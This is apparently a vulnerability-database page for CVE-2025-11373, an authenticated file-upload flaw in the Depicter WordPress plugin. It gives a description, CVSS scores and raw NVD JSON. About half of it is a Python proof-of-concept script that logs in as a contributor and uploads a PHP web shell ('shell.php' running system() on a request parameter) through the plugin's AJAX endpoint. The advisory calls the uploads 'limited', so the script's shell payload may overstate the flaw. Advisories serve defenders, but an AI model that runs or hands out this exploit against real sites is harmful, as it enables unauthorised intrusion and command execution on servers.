Security Vulnerability Report
中文
CVE-2025-11373 CVSS 4.3 MEDIUM

CVE-2025-11373

Published: 2025-11-05 07:15:32
Last Modified: 2026-04-15 00:35:42

Description

The Popup and Slider Builder by Depicter – Add Email collecting Popup, Popup Modal, Coupon Popup, Image Slider, Carousel Slider, Post Slider Carousel plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability checks in the "depicter-media-upload" AJAX route in all versions up to, and including, 4.0.4. This makes it possible for authenticated attackers, with Contributor-level access and above, to upload limited files on the affected site's server.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Depicter插件 <= 4.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-11373 PoC - Depicter Plugin Arbitrary File Upload # Target: WordPress site with Depicter plugin <= 4.0.4 target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' username = sys.argv[2] if len(sys.argv) > 2 else 'contributor' password = sys.argv[3] if len(sys.argv) > 3 else 'password' # Step 1: Authenticate to WordPress session = requests.Session() login_url = f'{target_url}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f'{target_url}/wp-admin/' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Authentication failed') exit(1) print('[+] Authentication successful') # Step 2: Upload malicious file via depicter-media-upload AJAX endpoint upload_url = f'{target_url}/wp-admin/admin-ajax.php' files = { 'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php') } data = { 'action': 'depicter-media-upload', '_ajax_nonce': '', # Nonce not required due to missing capability check } response = session.post(upload_url, data=data, files=files) if response.status_code == 200: print('[+] File upload request sent') print(f'[+] Response: {response.text}') else: print(f'[-] Upload failed with status: {response.status_code}')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11373", "sourceIdentifier": "[email protected]", "published": "2025-11-05T07:15:31.653", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Popup and Slider Builder by Depicter – Add Email collecting Popup, Popup Modal, Coupon Popup, Image Slider, Carousel Slider, Post Slider Carousel plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability checks in the \"depicter-media-upload\" AJAX route in all versions up to, and including, 4.0.4. This makes it possible for authenticated attackers, with Contributor-level access and above, to upload limited files on the affected site's server."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/depicter/tags/4.0.4/app/src/Middleware/CsrfAPIMiddleware.php#L51", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/depicter/tags/4.0.4/app/src/WordPress/FileUploaderService.php#L9", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3384613%40depicter&old=3313042%40depicter&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ae23f287-e4bb-4f97-aebe-18b6d7ad4e58?source=cve", "source": "[email protected]"}]}}